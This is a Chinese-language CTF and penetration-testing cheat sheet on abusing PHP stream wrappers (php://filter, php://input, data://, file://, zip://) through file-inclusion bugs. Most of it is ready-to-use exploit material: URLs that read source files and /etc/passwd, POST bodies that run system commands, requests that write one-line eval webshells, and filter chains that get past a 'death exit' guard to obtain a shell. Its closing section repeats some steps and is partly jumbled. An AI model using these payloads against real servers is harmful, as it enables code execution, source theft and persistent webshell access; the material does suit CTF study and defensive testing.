php伪协议
一、实战
1、命令:
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php
?url=php://input 拼接<?php system'ls'?>
file是传递参数名(可改);flag.php是变量(可改),根据flag所在文件路径修改。
得到的编码用from base64进行解码。
2、文件包含
适用:include()函数:<?php include($_GET['url']);?>
日志注入:
如果禁用input和data协议,使用nginx服务器,通过日志文件(/var/log/nginx/access.log)写码,查看日志数据包中哪个数据被写入日志,在该数据中上传一句话木马,蚁剑连接。
php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
例:
http://localhost/include/file.php?file=php://input //URL
<?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?> //POST,创建一个文件a.php;并写入phpinfo
data://:将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
例:
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令
http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
例:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword //可以跟绝对路径也可以跟相对路径
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径
防御:
尽量使用安全版本的php
做好php的安全配置
对相应目录做相应权限设置
php://filter
作用:**php://filter可以获取指定文件源码。**当其与文件包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取任意文件源代码。[1]
场景:
知道flag文件地址后,可以直接用该协议读取文件内容
有时候一些关键字被过滤也可以用该协议绕过
有的flag隐藏在注释当中,可通过此协议查看源码获取flag
格式:xxx.php?xxx=php://filter/convert.base64-encode/resource=xxx.php
利用条件:
不受allow_url_include和allow_url_fopen的限制
二、详解
一、PHP伪协议详解
php支持的伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
1、 php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用**,类似 readfile()、 file() 和 file_get_contents(),** 在数据流内容读取之前没有机会应用其他过滤器。
简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
协议参数
名称 描述`
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
常用
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器。
过滤器
1.字符串过滤器
该类通常以string开头,对每个字符都进行同样方式的处理。
string.rot13
一种字符处理方式,字符右移十三位。
string.toupper
将所有字符转换为大写。
string.tolower
将所有字符转换为小写。
string.strip_tags
这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
2.转换过滤器
对数据流进行编码,通常用来读取文件源码。
convert.base64-encode & convert.base64-decode
base64加密解密
convert.quoted-printable-encode & convert.quoted-printable-decode
可以翻译为可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。
3.压缩过滤器
注意,这里的压缩过滤器指的并不是在数据流传入的时候对整个数据进行写入文件后压缩文件,也不代表可以压缩或者解压数据流。压缩过滤器不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
用到的两个相关过滤器:zlib.deflate(压缩)和 zlib.inflate(解压)。zilb是比较主流的用法,至于bzip2.compress和 bzip2.decompress工作的方式与 zlib 过滤器大致相同。
4.加密过滤器
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。
更多妙用:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
利用filter伪协议绕过死亡exit
什么是死亡exit
死亡exit指的是在进行写入PHP文件操作时,执行了以下函数:
file_put_contents($content, '<?php exit();' . $content);
file_put_contents($content, '<?php exit();?>' . $content);
这样,当你插入一句话木马时,文件的内容是这样子的:
<?php exit();?>
<?php @eval($_POST['snakin']);?>
这样即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
base64decode绕过
利用filter协议来绕过,看下这样的代码:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。
然而这里可以利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,当$content 包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。
strip_tags绕过
这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。
注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。
php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
2 data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
示例用法:
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
范例
Example #1 打印 data:// 的内容
<?php
// 打印 "I love PHP"
echo file_get_contents ( 'data://text/plain;base64,SSBsb3ZlIFBIUAo=' );
?>
或者
Example #2 获取媒体类型
<?php
$fp = fopen ( 'data://text/plain;base64,' , 'r' );
$meta = stream_get_meta_data ( $fp );
// 打印 "text/plain"
echo $meta [ 'mediatype' ];
?>
3 file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
4 php://
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://作用为访问输入输出流
**`php://` 访问各个输入/输出流(I/O streams),在CTF中经常使用的是`php://filter`和`php://input`,`php://filter`用于读取源码,`php://input`用于执行php代码。**
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data 部分,在enctype="multipart/form-data" 的时候php://input 是无效的。 |
php://output | 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 |
php://fd | (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 |
php://memory php://temp | (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB )存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one) 的文件函数非常有用,类似 readfile() 、file() 和 file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。 |
1、php://filter/read=convert.base64-encode/resource=[文件名]`读取文件源码(针对php文件需要base64编码)
2、php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
3、若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
5 php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
利用抓包工具上传
注意:
当enctype="multipart/form-data"的时候 php://input` 是无效的
遇到file_get_contents()要想到用php://input绕过。
6 zip://
**zip:// 可以访问压缩包里面的文件。**当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
(#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2、压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.zlib://file.gz
3、压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
info.txt
2、压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.zlib://file.gz
3、压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz